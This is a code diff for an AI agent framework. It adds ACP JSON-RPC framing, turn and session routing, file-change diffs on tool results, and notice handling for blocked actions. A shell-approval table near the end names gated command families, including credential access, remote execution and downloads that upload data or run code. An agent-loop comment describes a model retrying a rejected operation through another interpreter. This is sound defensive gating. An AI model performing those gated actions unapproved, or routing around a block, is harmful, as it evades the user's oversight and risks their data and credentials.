meta),), stop="end_turn") + + +class TurnAlreadyRunningError(RuntimeError): + """A second ``session/prompt`` arrived while one was still in flight.""" + + def __init__(self, session_id: str) -> None: + super().__init__(f"session {session_id} already has a prompt in flight") + self.session_id = session_id + + +@dataclass +class _Turn: + """One in-flight ``session/prompt``.""" + + future: asyncio.Future[str] + latched: str | None = None + # The turn ``turn.send`` accepted for this prompt. ``None`` until it answers, + # which is why ``deferred`` exists: this session's stream also carries turns + # the runtime submitted, and their endings must not answer this prompt. + turn_id: str | None = None + deferred: dict[str, str] = field(default_factory=dict) + + def settle(self, stop: str) -> bool: + """Resolve the prompt once, and report whether this call was the one. + + The gate is the future's own state rather than a separate flag: a cancel + that is followed by the sink's failure event, or two terminating events + for one turn, must be a no-op rather than an ``InvalidStateError`` + raised inside the emitter's coalesce task, where nothing would report it. + """ + if self.future.done(): + return False + self.future.set_result(self.latched or stop) + return True + + +@dataclass +class AcpSession: + """One ACP session: its raven session key, its stream, and its turn.""" + + session_id: str + session_key: str + cwd: str + subscription_id: str | None = None + turn: _Turn | None = None + + +class UpdateTranslator: + """The outbound sink, plus the session and turn state it needs to route. + + ``emit`` writes one finished ACP frame. It is synchronous because the frame + writer is: a write plus a flush, with no suspension point inside, which is + what keeps event order on the wire identical to event order on the + subscription -- every ``agent_message_chunk`` of a turn is on the wire before + the ``session/prompt`` response that follows it. + """ + + def __init__( + self, + emit: Callable[[dict[str, Any]], None], + *, + side_channel: Callable[[str, Any], bool] | None = None, + ) -> None: + self._emit = emit + # Frames on this sink that are not subscription events, offered to a + # handler before being dropped. ``clarify.request`` is the one that has + # to be served: it blocks a tool call, so dropping it stalls a turn until + # the broker's own timeout rather than failing it. Returning ``False`` + # puts the frame back on the dropped tally, so a surface that grows a new + # notification still shows up there. + self._side_channel = side_channel + self._by_session_id: dict[str, AcpSession] = {} + self._by_subscription: dict[str, AcpSession] = {} + # Set once the connection is shutting down. A one-way latch, and the + # reason it exists is a race a single sweep cannot close: a handler task + # created before EOF may not have *begun* before EOF, so it would open its + # turn after everything pending had been settled and then wait on a stream + # that will never speak again. + self._closing = False + # Methods this sink saw and had no branch for, counted rather than logged + # per occurrence: a chatty unknown notification would otherwise write a + # log line per frame for the life of the process. + self.dropped: dict[str, int] = {} + + # -- session registry ------------------------------------------------- + + def add(self, session: AcpSession) -> None: + self._by_session_id[session.session_id] = session + if session.subscription_id: + self._by_subscription[session.subscription_id] = session + + def bind_subscription(self, session_id: str, subscription_id: str) -> None: + session = self._by_session_id.get(session_id) + if session is None: + return + if session.subscription_id: + self._by_subscription.pop(session.subscription_id, None) + session.subscription_id = subscription_id + self._by_subscription[subscription_id] = session + + def _mark_stream_dead(self, session: AcpSession) -> None: + """Release a session's binding to a subscription the emitter has closed. + + The emitter removes an overflowed subscription from its own indexes, but + that does not reach back here: ``AcpSession.subscription_id`` and the + ``_by_subscription`` map still name a stream that can no longer deliver. + The next prompt decides it must re-subscribe by this field being unset, so + the binding is dropped rather than left pointing at a corpse. + """ + if session.subscription_id: + self._by_subscription.pop(session.subscription_id, None) + session.subscription_id = None + + def get(self, session_id: str) -> AcpSession | None: + return self._by_session_id.get(session_id) + + def sessions(self) -> tuple[AcpSession, ...]: + return tuple(self._by_session_id.values()) + + # -- turn lifecycle --------------------------------------------------- + + def begin_turn(self, session_id: str) -> asyncio.Future[str]: + """Open a turn and return the future its stop reason arrives on. + + Refuses a second concurrent turn on one session rather than queueing it. + ACP allows several sessions on one connection but a session's updates + carry no request correlation, so two prompts in flight produce a single + interleaved stream that cannot be split back apart -- raven's own client + direction documents this as a certainty, and the mirror image holds here. + + Once :meth:`close` has run, the future comes back already resolved as + ``cancelled``: the stream is finished, so a turn opened now would wait on + nothing, and answering immediately is both the truth and what lets the + handler return through its own code. + """ + session = self._by_session_id[session_id] + if session.turn is not None and not session.turn.future.done(): + raise TurnAlreadyRunningError(session_id) + future: asyncio.Future[str] = asyncio.get_running_loop().create_future() + session.turn = _Turn(future=future) + if self._closing: + session.turn.settle("cancelled") + return future + + def accept_turn(self, session_id: str, turn_id: str) -> None: + """Record which turn ``turn.send`` accepted for the open prompt. + + Anything held from before this point is resolved here: an ending that + belongs to this turn settles it now, and the rest are dropped, because + they belonged to turns this prompt never asked for. + """ + session = self._by_session_id.get(session_id) + if session is None or session.turn is None: + return + turn = session.turn + # Empty is stored as empty and not folded into ``None``: the two mean + # different things and the difference is a hang. ``None`` is "not told + # yet", which holds an ending. ``""`` is "told, and there is no id" -- + # a caller whose ``turn.send`` answered without one -- and that has to + # settle on whatever ends the turn, because there is no key to correlate + # with and waiting for one that never comes leaves the prompt unanswered + # forever. Correlation is enforced only where a key exists. + turn.turn_id = turn_id + if not turn_id: + logger.debug("acp: turn.send named no turn for {}; settlement cannot be correlated", session_id) + held = turn.deferred.pop(turn_id, None) if turn_id else next(iter(turn.deferred.values()), None) + turn.deferred.clear() + if held is not None: + turn.settle(held) + + def close(self) -> None: + """Latch the connection shut and answer everything still waiting. + + ``cancelled`` because that is what the spec has for a turn torn down + before it finished, and because the alternative -- cancelling the handler + tasks -- leaves a client holding a request that is never answered. + """ + self._closing = True + for session in self._by_session_id.values(): + if session.turn is not None: + session.turn.settle("cancelled") + + def end_turn(self, session_id: str) -> None: + """Drop the turn slot. Idempotent: the caller runs it from a finally.""" + session = self._by_session_id.get(session_id) + if session is not None: + session.turn = None + + def settle_turn(self, session_id: str, stop: str) -> bool: + """Resolve a turn from outside the event stream (a teardown, a cancel).""" + session = self._by_session_id.get(session_id) + if session is None or session.turn is None: + return False + return session.turn.settle(stop) + + # -- the sink --------------------------------------------------------- + + async def send_frame(self, frame: Any) -> None: + """The ``send_frame`` given to ``build_rpc_stack``. + + The non-dict guard is first for a measured reason: the type alias in + ``bootstrap.py`` says ``dict``, but the real contract is ``dict | bytes`` + -- ``browser.watch`` pushes an ``RVF1`` header plus a JPEG through this + same sink, and the WebSocket transport branches on it. On stdio there is + no such branch, so one frame of video would put binary on the protocol + channel. The path is dormant under ACP (the dispatcher this stack builds + is not the one serving these methods) but the guard costs three lines. + """ + if not isinstance(frame, dict): + self._drop("") + return + method = frame.get("method") + if method != "event": + name = method if isinstance(method, str) else "" + if self._side_channel is not None and isinstance(method, str): + try: + if self._side_channel(method, frame.get("params")): + return + except Exception: + # The sink is shared with the streaming path; a handler bug + # must not take a turn's output down with it. + logger.exception("acp: handling {} failed", method) + self._drop(name) + return + params = frame.get("params") + if not isinstance(params, dict): + self._drop("event/") + return + session = self._by_subscription.get(str(params.get("subscription_id") or "")) + if session is None: + # A subscription this connection does not own, or one already + # unbound. Not an error: the emitter also serves turns the runtime + # submitted (cron), which have no ACP session. + self._drop("event/") + return + await self._deliver(session, params.get("event")) + + async def _deliver(self, session: AcpSession, event: Any) -> None: + result = translate(event, cwd=session.cwd) + for update in result.updates: + self._emit(protocol.notification("session/update", {"sessionId": session.session_id, "update": update})) + if _ends_the_stream(event): + # Answered rather than correlated, and answered as cancelled because + # that is what the spec has for a turn torn down before it finished. + # See ``STREAM_TERMINAL_ERROR_CODES``: the subscription is gone, so no + # correlated ending can follow, and holding out for one hangs the + # client's request for the life of the connection. The check runs + # before the turn bookkeeping below because a runtime turn can + # overflow while no ACP prompt is open, and the stream must still be + # marked dead for the next prompt. + turn = session.turn + if turn is not None: + turn.settle("cancelled") + # The emitter closed the subscription out from under this session, so + # the binding that is left points at a stream that can no longer + # deliver. A session left bound to it would hang its next prompt: the + # emitter has no subscriber left to push that prompt's events to. + self._mark_stream_dead(session) + return + turn = session.turn + if turn is None: + return + # Updates above go out for the whole session -- a client showing what the + # runtime is doing in its workspace is information, not a bug. Turn + # bookkeeping is different: it answers one request, so it takes a + # POSITIVE match on the turn this prompt started. Reading a missing id as + # "mine" is the same defect as not looking at the id at all: the runtime + # shares this lane (see ``_owns_lane``), and the notice shape carries no + # id at all, so "absent" cannot mean "this turn's". + event_turn_id = _event_turn_id(event) + if turn.turn_id == "": + # Told there is no id. No correlation is possible, so this behaves the + # way it did before correlation existed. Recorded as a distinct state + # rather than silently sharing the "not told yet" branch, because that + # one holds and holding here would never end. + if result.latch and turn.latched is None: + turn.latched = result.latch + if result.stop: + turn.settle(result.stop) + return + if turn.turn_id is None: + # ``turn.send`` emits ``message.start`` before it returns, so events + # can arrive before this prompt learns which turn is its own. An + # ending that names a turn is held, because dropping it would hang a + # prompt whose turn finished inside that window; one that names none + # is neither held nor applied. + # Held under its own id, which may be the empty one: an ending that + # names no turn is still an ending, and whether it is this prompt's + # cannot be decided until ``turn.send`` says whether there is an id + # to compare at all. Dropping it here hung every prompt whose runtime + # reports no turn id, because the legacy path below then had nothing + # left to settle from. + if result.stop and len(turn.deferred) < MAX_DEFERRED_ENDINGS: + turn.deferred.setdefault(event_turn_id, result.stop) + return + if event_turn_id != turn.turn_id: + self._drop(f"{event.get('type') if isinstance(event, dict) else 'event'}/") + return + if result.latch and turn.latched is None: + turn.latched = result.latch + if result.stop: + turn.settle(result.stop) + + def _drop(self, what: str) -> None: + self.dropped[what] = self.dropped.get(what, 0) + 1 + if self.dropped[what] == 1: + # Once per distinct kind, at debug: the first occurrence is the + # interesting one, and a per-frame log on a streaming channel is its + # own outage. + logger.debug("acp: dropped an outbound frame with no ACP mapping: {}", what) + + +__all__ = [ + "KNOWN_EVENT_TYPES", + "MAX_DEFERRED_ENDINGS", + "STREAM_TERMINAL_ERROR_CODES", + "MAX_MEDIA_ITEMS", + "MAX_RESULT_PREVIEW", + "SIDE_CHANNEL_METHODS", + "AcpSession", + "Translated", + "TurnAlreadyRunningError", + "UpdateTranslator", + "translate", +] diff --git a/raven/agent/acp/__init__.py b/raven/agent/acp/__init__.py new file mode 100644 index 00000000..7be95619 --- /dev/null +++ b/raven/agent/acp/__init__.py @@ -0,0 +1,11 @@ +"""Agent Client Protocol wire framing. + +The framing alone for now: newline-delimited JSON-RPC 2.0, shared by anything +that speaks ACP in either direction. The client half (a pool of agents Raven +drives as a caller) is not here yet, which is why this package holds one module +rather than the handshake, capabilities and journal that go with it. +""" + +from raven.agent.acp.protocol import AcpProtocolError, decode, encode + +__all__ = ["AcpProtocolError", "decode", "encode"] diff --git a/raven/agent/acp/protocol.py b/raven/agent/acp/protocol.py new file mode 100644 index 00000000..03771857 --- /dev/null +++ b/raven/agent/acp/protocol.py @@ -0,0 +1,139 @@ +"""Wire framing and error types for ACP over stdio. + +Framing is newline-delimited JSON-RPC 2.0: one complete JSON object per line, in +both directions. Verified against a real ``hermes acp`` server, which answers a +single-line ``initialize`` request with a single-line result. + +The error types exist so callers can tell apart failures that mean different +things. A remote error is the agent saying no; a protocol error is the agent +saying something raven cannot parse; a connection error is the agent not being +there at all. Registration reports these as ``needs_auth`` / ``unreachable`` +differently, and a dispatch retries none of them the same way. +""" + +from __future__ import annotations + +import json +from typing import Any + +PROTOCOL_VERSION = 1 +"""The ACP protocol version raven advertises in ``initialize``. + +Measured: ``hermes acp`` (adapter 0.17.0) answers ``protocolVersion: 1``. An +agent replying with a different number is not rejected here -- the number is +recorded in the snapshot so a mismatch is visible to the operator rather than +fatal at connect time. +""" + +CLIENT_CAPABILITIES: dict[str, Any] = { + # Declared false because raven does not yet serve these back. Advertising a + # capability it cannot honour is worse than not having it: the agent would + # route file access through raven and stall on a method that answers with an + # error. Flipping either to true is the approval work, not this layer's. + "fs": {"readTextFile": False, "writeTextFile": False}, +} + +METHOD_NOT_FOUND = -32601 +"""JSON-RPC's own code, used to answer an agent-initiated request raven does not +implement. An explicit error keeps the agent moving; silence would hang it.""" + + +class AcpError(Exception): + """Base for every ACP transport failure.""" + + +class AcpConnectionError(AcpError): + """The agent process could not be started, or the connection died.""" + + +class AcpTimeoutError(AcpError): + """A request went unanswered within its budget.""" + + +class AcpProtocolError(AcpError): + """The agent sent something that is not a usable JSON-RPC frame.""" + + +class AcpRemoteError(AcpError): + """The agent answered a request with a JSON-RPC error object.""" + + def __init__(self, method: str, code: int, message: str, data: Any = None) -> None: + super().__init__(f"{method} failed: [{code}] {message}") + self.method = method + self.code = code + self.message = message + self.data = data + + +def encode(frame: dict[str, Any]) -> bytes: + """Serialise one frame for the wire. + + ``ensure_ascii=False`` so a non-ASCII prompt is not inflated into escapes, + and no embedded newline can appear because ``json.dumps`` escapes them -- + which is what makes line framing safe. + """ + return (json.dumps(frame, ensure_ascii=False) + "\n").encode("utf-8") + + +def decode(line: str) -> dict[str, Any]: + """Parse one wire line, raising :class:`AcpProtocolError` on anything else.""" + try: + frame = json.loads(line) + except (json.JSONDecodeError, ValueError) as exc: + raise AcpProtocolError(f"not JSON: {line[:200]!r}") from exc + if not isinstance(frame, dict): + raise AcpProtocolError(f"not a JSON object: {line[:200]!r}") + return frame + + +def request(request_id: int, method: str, params: dict[str, Any] | None = None) -> dict[str, Any]: + frame: dict[str, Any] = {"jsonrpc": "2.0", "id": request_id, "method": method} + if params is not None: + frame["params"] = params + return frame + + +def notification(method: str, params: dict[str, Any] | None = None) -> dict[str, Any]: + frame: dict[str, Any] = {"jsonrpc": "2.0", "method": method} + if params is not None: + frame["params"] = params + return frame + + +def error_response(request_id: Any, code: int, message: str) -> dict[str, Any]: + return {"jsonrpc": "2.0", "id": request_id, "error": {"code": code, "message": message}} + + +def result_response(request_id: Any, result: Any) -> dict[str, Any]: + return {"jsonrpc": "2.0", "id": request_id, "result": result} + + +def initialize_params() -> dict[str, Any]: + """Exactly the two params measured to be accepted, and nothing else. + + A third ``clientInfo`` field was tried and rejected: ``hermes acp`` answered + ``-32602 Invalid params``. Since nothing here needs to identify raven to the + agent, the fix is to not send it rather than to guess at its shape -- an + optional-looking extra that hard-fails the handshake is the worst kind of + protocol guess. + """ + return {"protocolVersion": PROTOCOL_VERSION, "clientCapabilities": CLIENT_CAPABILITIES} + + +__all__ = [ + "CLIENT_CAPABILITIES", + "METHOD_NOT_FOUND", + "PROTOCOL_VERSION", + "AcpConnectionError", + "AcpError", + "AcpProtocolError", + "AcpRemoteError", + "AcpTimeoutError", + "decode", + "encode", + "error_response", + "initialize_params", + "notification", + "request", + "result_response", +] diff --git a/raven/agent/loop/main.py b/raven/agent/loop/main.py index 80d76a86..b2f106bb 100644 --- a/raven/agent/loop/main.py +++ b/raven/agent/loop/main.py @@ -77,6 +77,44 @@ # Teardown's total budget for letting those writes finish. _STORE_DRAIN_BUDGET_S: float = 15.0 + +_FILE_CHANGE_MAX_CHARS = 512 * 1024 + + +def _file_change_payload(change: Any) -> dict[str, Any] | None: + """One write as a plain mapping, or ``None`` when there is nothing to send. + + Flattened here rather than passed as the dataclass: ``spine.events`` is + deliberately free of the tools package, and a mapping is also what goes on + the wire two hops later. + + ``before`` is preserved as ``None`` when the file did not exist, because a + client renders a creation differently from a rewrite -- so this cannot use a + "falsy means absent" shortcut, an empty file having the same emptiness. + """ + if change is None: + return None + after = getattr(change, "after", None) + path = getattr(change, "path", None) + if not isinstance(after, str) or not isinstance(path, str) or not path: + return None + before = getattr(change, "before", None) + if len(after) + len(before or "") > _FILE_CHANGE_MAX_CHARS: + return None + payload: dict[str, Any] = {"path": path, "after": after} + if before is not None: + payload["before"] = before + return payload + + +def _first_line(text: str) -> str: + """The one line of a tool error worth putting in front of a person.""" + for line in str(text or "").splitlines(): + if line.strip(): + return line.strip() + return "" + + _ABORTED_ACTION_REPLY = ( "The operation was not completed, and no alternative method will be attempted. " "Would you like me to continue with the remaining parts of the task that do not " @@ -106,13 +144,14 @@ from raven.proactive_engine.schedulers.cron.service import CronService from raven.providers.pool import ProviderPool from raven.routing.router import ModelRouter + from raven.rpc.question_broker import QuestionBroker from raven.sandbox.debug_server import SandboxDebugServer from raven.skill_hub import SkillHubClient + from raven.spine.events import NoticeKind from raven.spine.runner import Drain, Emit, TurnOutcome from raven.spine.turn import TurnRequest from raven.token_wise.base import UsageSnapshot from raven.token_wise.registry import StrategyRegistry - from raven.tui_rpc.question_broker import QuestionBroker @dataclass @@ -2079,6 +2118,7 @@ async def _run_agent_loop( on_reasoning_delta: Callable[[str], Awaitable[None]] | None = None, on_tool_event: Callable[[str, dict], Awaitable[None]] | None = None, on_episode_start: Callable[[int], Awaitable[None]] | None = None, + on_notice: Callable[[NoticeKind, str], Awaitable[None]] | None = None, usage_sink: dict[str, Any] | None = None, drain: Drain | None = None, ) -> tuple[str | None, list[str], list[dict], TurnOutcome]: @@ -2270,6 +2310,7 @@ async def _run_agent_loop( if response.has_tool_calls: abort_action = False + abort_reason = "" if on_progress: thought = self._strip_think(response.content) if thought: @@ -2316,6 +2357,12 @@ async def _run_agent_loop( "arguments": tool_call.arguments, # Tool-authored call label; None -> UI derives one. "display": _tool.display_call(tool_call.arguments) if _tool else None, + # The same flag the registry reads to skip its + # timeout: this call waits on a human, so it has + # no deadline and may emit nothing while it runs. + # A client that clocks the stream needs to know + # before the wait, not after it. + "blocking": bool(_tool.blocking_interaction) if _tool else False, }, ) if tool_call.name == "exec": @@ -2348,6 +2395,16 @@ async def _run_agent_loop( "tool_call_id": tool_call.id, "result_preview": preview, "truncated": len(display_src) > 200, + # Client-only, straight off the ToolOutput the + # registry built: never shown to the model, and + # ``getattr`` because a tool may still return a + # bare str, which the registry wraps without any + # of these three. + "metadata": getattr(result, "metadata", None), + "diff": getattr(result, "diff", None), + # Alongside the diff, for a surface that renders + # the change itself rather than a unified form. + "file_change": _file_change_payload(getattr(result, "file_change", None)), }, ) model_text, blocks, attach_blocks = self._route_result_images( @@ -2365,6 +2422,11 @@ async def _run_agent_loop( pending_images.extend(attach_blocks) if getattr(result, "abort_action", False): abort_action = True + # The blocking tool's own words, kept for the reader: the + # canned reply below says an operation stopped but never + # which one, so without this the user is told a thing + # happened and given no way to find out what. + abort_reason = _first_line(model_text) # A single assistant message may contain several parallel # tool calls (for example ``rm`` followed by a Python # fallback). Once policy terminates the action, none of @@ -2400,11 +2462,22 @@ async def _run_agent_loop( # the rejected operation into an equivalent interpreter, # script, or tool call. Finish the turn in runtime code and # expose only the non-destructive continuation question. - # Streaming callers need the explicit callback because no - # final model response exists to generate token deltas. + # The model must read this, so it goes into the history as an + # assistant message -- but it goes to the CLIENT as a notice. + # Pushed down the token stream instead, it arrived as the + # model's own prose: glued to whatever the model had just + # narrated (nothing separates two segments in one buffer), + # dressed in the answer's copy and branch actions, and always + # in English no matter what language the turn was in. + from raven.spine.events import NoticeKind as _NoticeKind + messages = self.context.add_assistant_message(messages, _ABORTED_ACTION_REPLY) final_content = _ABORTED_ACTION_REPLY - if on_token_delta is not None: + if on_notice is not None: + await on_notice(_NoticeKind.ACTION_BLOCKED, abort_reason) + elif on_token_delta is not None: + # A channel with no notice outlet still has to say + # something, and silence is the worse failure. await on_token_delta(_ABORTED_ACTION_REPLY) break @@ -2634,6 +2707,7 @@ async def _process_message( on_reasoning_delta: Callable[[str], Awaitable[None]] | None = None, on_tool_event: Callable[[str, dict], Awaitable[None]] | None = None, on_episode_start: Callable[[int], Awaitable[None]] | None = None, + on_notice: Callable[[NoticeKind, str], Awaitable[None]] | None = None, usage_sink: dict[str, Any] | None = None, origin: Origin | None = None, drain: Drain | None = None, @@ -2878,6 +2952,7 @@ async def _extract(): on_reasoning_delta=on_reasoning_delta, on_tool_event=on_tool_event, on_episode_start=on_episode_start, + on_notice=on_notice, usage_sink=usage_sink, drain=drain, ) @@ -3133,6 +3208,13 @@ async def _run_turn( ) streamed = False + # ACTION_BLOCKED does not accompany the answer, it *is* the answer (see + # NoticeKind): the runtime sentence reaches the client as the notice + # detail, while _process_message still returns it as the reply. Without + # this flag the boundary below emits the same sentence a second time as + # Text -- which TuiOutlet maps to token.delta, so it arrives dressed as + # the model's own prose, exactly what routing it as a notice avoided. + replaced_by_notice = False async def on_token(text: str) -> None: nonlocal streamed @@ -3156,6 +3238,7 @@ async def on_tool(phase: str, info: dict[str, Any]) -> None: tool_call_id=info["tool_call_id"], name=info["name"], arguments=info["arguments"], + blocking=bool(info.get("blocking")), display=info.get("display"), ) ) @@ -3166,9 +3249,17 @@ async def on_tool(phase: str, info: dict[str, Any]) -> None: tool_call_id=info["tool_call_id"], result_preview=info["result_preview"], truncated=info["truncated"], + metadata=info.get("metadata"), + diff=info.get("diff"), ) ) + async def on_notice(kind: NoticeKind, detail: str) -> None: + nonlocal replaced_by_notice + if kind is NoticeKind.ACTION_BLOCKED: + replaced_by_notice = True + await emit(Notice(kind=kind, detail=detail or None)) + async def on_progress(text: str, tool_hint: bool = False) -> None: # Keep the progress/tool-hint distinction so an outlet can gate each on # its own config flag (send_progress vs send_tool_hints), as the bus @@ -3260,6 +3351,7 @@ async def _route_deep_research(kind: str, text: str) -> None: on_reasoning_delta=on_reasoning if stream else None, on_tool_event=on_tool, on_episode_start=on_episode if stream else None, + on_notice=on_notice, usage_sink=usage_sink, origin=req.origin, drain=drain, @@ -3277,7 +3369,7 @@ async def _route_deep_research(kind: str, text: str) -> None: reply_content, reply_media = out if reply_media: await _emit_media(reply_media) - if not streamed and reply_content: + if not streamed and not replaced_by_notice and reply_content: await emit(Text(content=reply_content)) if text_sink is not None and reply_content: text_sink["text"] = reply_content diff --git a/raven/agent/tools/ask_user.py b/raven/agent/tools/ask_user.py index f10a9c36..77a36d51 100644 --- a/raven/agent/tools/ask_user.py +++ b/raven/agent/tools/ask_user.py @@ -19,7 +19,7 @@ from typing import Any from raven.agent.tools.base import Tool, ToolResult -from raven.tui_rpc.question_broker import DEFAULT_TIMEOUT_S, QuestionBroker +from raven.rpc.question_broker import DEFAULT_TIMEOUT_S, QuestionBroker MAX_QUESTIONS = 4 """Cap on one call. Each question is its own round-trip, so an uncapped diff --git a/raven/agent/tools/base.py b/raven/agent/tools/base.py index 33a69bf0..545e2165 100644 --- a/raven/agent/tools/base.py +++ b/raven/agent/tools/base.py @@ -7,6 +7,25 @@ from raven.utils.helpers import ContentPart +@dataclass(frozen=True) +class FileChange: + """One file's whole content before and after a write. + + Whole contents rather than a rendered diff, because a surface that draws its + own -- an editor with a diff view -- needs the two versions, and cannot + recover them from a unified diff whose context is limited and which is + dropped entirely past a few hundred lines. + + ``before`` is ``None`` when the file did not exist. That is a distinction, not + a missing value: a client shows a new file differently from a rewritten one, + and collapsing the two makes every creation look like a full replacement. + """ + + path: str + after: str + before: str | None = None + + @dataclass class ToolResult: """A tool's output split into the model-facing text and an optional @@ -30,6 +49,14 @@ class ToolResult: talking Chat Completions — keeps using the text and must still make sense. So a tool setting ``blocks`` puts the metadata *and* the file path in ``model_text``, never "see the image above". + + ``metadata`` and ``diff`` are the two client-only fields: neither is ever + shown to the model, and both ride out on the ``tool.complete`` lifecycle + event for an outlet to render. ``metadata`` is a structured payload the tool + chose to publish (a file manifest, say) that an outlet which does not + understand a key simply ignores; ``diff`` is a unified diff of what the call + changed on disk. A tool that leaves them ``None`` -- most of them -- costs + the wire two nulls. """ model_text: str @@ -37,6 +64,12 @@ class ToolResult: retryable: bool = True abort_action: bool = False blocks: list[ContentPart] | None = None + metadata: dict[str, Any] | None = None + diff: str | None = None + # The same change unrendered. A surface that draws its own diff needs the two + # versions, and cannot recover them from the unified form. Set beside + # ``diff`` by the same tools, from the same two strings they already hold. + file_change: "FileChange | None" = None class ToolOutput(str): @@ -49,14 +82,18 @@ class ToolOutput(str): artifact, so the boundary has to return something that *is* a str; handing them a :class:`ToolResult` would format its repr into model context and user-facing replies. The agent loop reads ``display_text`` off it to render - the transcript row, ``blocks`` to build a multimodal tool result, and the - control flags to enforce terminal tool decisions. + the transcript row, ``blocks`` to build a multimodal tool result, the + control flags to enforce terminal tool decisions, and ``metadata``/``diff`` + to fill the client-facing fields of the ``tool.complete`` event. """ display_text: str | None retryable: bool abort_action: bool blocks: list[ContentPart] | None + metadata: dict[str, Any] | None + diff: str | None + file_change: "FileChange | None" def __new__( cls, @@ -66,12 +103,18 @@ def __new__( retryable: bool = True, abort_action: bool = False, blocks: list[ContentPart] | None = None, + metadata: dict[str, Any] | None = None, + diff: str | None = None, + file_change: "FileChange | None" = None, ) -> "ToolOutput": out = super().__new__(cls, model_text) out.display_text = display_text out.retryable = retryable out.abort_action = abort_action out.blocks = blocks + out.metadata = metadata + out.diff = diff + out.file_change = file_change return out diff --git a/raven/agent/tools/deep_research.py b/raven/agent/tools/deep_research.py index 564cecc7..82e02d6a 100644 --- a/raven/agent/tools/deep_research.py +++ b/raven/agent/tools/deep_research.py @@ -23,7 +23,7 @@ from raven.agent.tools.base import Tool from raven.config.schema import DeepResearchToolConfig -from raven.tui_rpc.question_broker import QuestionBroker +from raven.rpc.question_broker import QuestionBroker DEFAULT_BASE_URL = "https://api.miromind.ai/v1" DEFAULT_MODEL = "mirothinker-1-7-deepresearch-mini" diff --git a/raven/agent/tools/filesystem.py b/raven/agent/tools/filesystem.py index e3cba341..2282d90a 100644 --- a/raven/agent/tools/filesystem.py +++ b/raven/agent/tools/filesystem.py @@ -5,9 +5,35 @@ from pathlib import Path from typing import Any -from raven.agent.tools.base import Tool, ToolResult +from raven.agent.tools.base import FileChange, Tool, ToolResult from raven.utils.helpers import detect_image_mime +_DIFF_MAX_LINES = 400 + + +def _unified(before: str, after: str, name: str) -> str | None: + """Unified diff of one write, or None when there is nothing useful to show. + + A UI cannot reconstruct this later: by the time the call is reported, the + content it replaced is already overwritten. A rewrite too large to render is + dropped whole rather than truncated -- half a diff reads as a smaller change + than the one that happened. + """ + if before == after: + return None + out = list( + difflib.unified_diff( + before.splitlines(), + after.splitlines(), + fromfile=name, + tofile=name, + lineterm="", + ) + ) + if not out or len(out) > _DIFF_MAX_LINES: + return None + return "\n".join(out) + def _resolve_path(path: str, workspace: Path | None = None, allowed_dir: Path | None = None) -> Path: """Resolve path against workspace (if relative) and enforce directory restriction.""" @@ -237,13 +263,41 @@ async def execute(self, path: str, content: str, mode: str = "overwrite", **kwar return "Error: write_file with mode=append needs content; refusing to append nothing." try: fp = self._resolve(path) + # Read before writing: a whole-file write carries no record of what + # it replaced, so a panel handed only the arguments draws every line + # of an overwrite as an addition. + before = "" + # Three states, not two, and the third is why this is a separate + # flag: absent, present and readable, present and not decodable as + # text. Only the first is a new file, and reporting the third as one + # would tell a client every line is an addition to a file that was + # already there. + previous: str | None = None + unreadable = False + if fp.is_file(): + try: + before = previous = fp.read_text(encoding="utf-8") + except (UnicodeDecodeError, OSError): + before = "" + previous = None + unreadable = True fp.parent.mkdir(parents=True, exist_ok=True) if mode == "append": with fp.open("a", encoding="utf-8") as handle: handle.write(content) return f"Successfully appended {len(content)} bytes to {fp}" fp.write_text(content, encoding="utf-8") - return f"Successfully wrote {len(content)} bytes to {fp}" + return ToolResult( + f"Successfully wrote {len(content)} bytes to {fp}", + diff=_unified(before, content, str(fp)), + # Beside the rendered diff, not instead of it: the unified form is + # what a text surface shows, and this is what a surface with its + # own diff view needs. Both come from strings already in hand, so + # neither costs a second read. Withheld entirely for a file that + # existed and could not be read, because there is no ``before`` + # to give and every way of faking one misinforms the reader. + file_change=None if unreadable else FileChange(path=str(fp), after=content, before=previous), + ) except PermissionError as e: return f"Error: {e}" except Exception as e: @@ -344,7 +398,18 @@ async def execute( new_content = new_content.replace("\n", "\r\n") fp.write_bytes(new_content.encode("utf-8")) - return f"Successfully edited {fp}" + normalised = new_content.replace("\r\n", "\n") + return ToolResult( + f"Successfully edited {fp}", + # Compared line-for-line rather than passing the two snippets: + # ``replace_all`` can change several places at once, and the + # arguments alone do not say where. + diff=_unified(content, normalised, str(fp)), + # The whole file both ways. An edit's arguments carry only the + # replaced fragment, so a surface handed those would render a + # fragment as though it were the file. + file_change=FileChange(path=str(fp), after=normalised, before=content), + ) except PermissionError as e: return f"Error: {e}" except Exception as e: diff --git a/raven/agent/tools/registry.py b/raven/agent/tools/registry.py index 519057b5..e575fd25 100644 --- a/raven/agent/tools/registry.py +++ b/raven/agent/tools/registry.py @@ -133,10 +133,14 @@ async def execute( model_text, display_text = result.model_text, result.display_text retryable, abort_action = result.retryable, result.abort_action blocks = result.blocks + metadata, diff = result.metadata, result.diff + file_change = result.file_change else: model_text, display_text = str(result), None retryable, abort_action = True, False blocks = None + metadata, diff = None, None + file_change = None if model_text.startswith("Error"): # ``Error:`` describes presentation, not retry semantics. @@ -145,7 +149,10 @@ async def execute( # the generic invitation to find an equivalent implementation. # # An error also replaces the result, so any blocks it came with - # are no longer what the model should be looking at. + # are no longer what the model should be looking at. Same for + # the client-only fields: a diff of a write that failed, or a + # manifest of files that were not delivered, describes something + # that did not happen. suffix = _hint if retryable else "" return ToolOutput( model_text + suffix, @@ -159,6 +166,9 @@ async def execute( retryable=retryable, abort_action=abort_action, blocks=blocks, + metadata=metadata, + diff=diff, + file_change=file_change, ) except asyncio.TimeoutError: return f"Error: Tool '{name}' timed out after {ceiling:.0f}s." + _hint diff --git a/raven/agent/tools/shell.py b/raven/agent/tools/shell.py index 00df82af..40b71fbd 100644 --- a/raven/agent/tools/shell.py +++ b/raven/agent/tools/shell.py @@ -3,6 +3,7 @@ import os import re import shlex +from collections.abc import Callable from contextvars import ContextVar from dataclasses import dataclass, replace from hashlib import sha256 @@ -43,6 +44,22 @@ class _ApprovalTurn: denied_digests: frozenset[str] = frozenset() +# What the reader is being asked about, per family. A constant string was here +# before -- "Delete files using a shell command" -- which was accurate only while +# deletion was the one family registered, and became wrong the moment a surface +# registered more. The fallback is deliberately vague rather than a guess: a +# prompt that names the wrong reason is worse than one that names none. +_APPROVAL_DESCRIPTIONS: dict[str, str] = { + "delete_command": "Delete files using a shell command", + "publish_command": "Publish or push work to a remote", + "install_command": "Install software, which runs code from the network", + "remote_exec_command": "Run a command on, or copy files to, another machine", + "credential_command": "Read or change stored credentials", + "destructive_vcs_command": "Discard uncommitted work in this repository", + "fetch_side_effect": "Download to a file, upload data, or run what it downloads", +} + + class 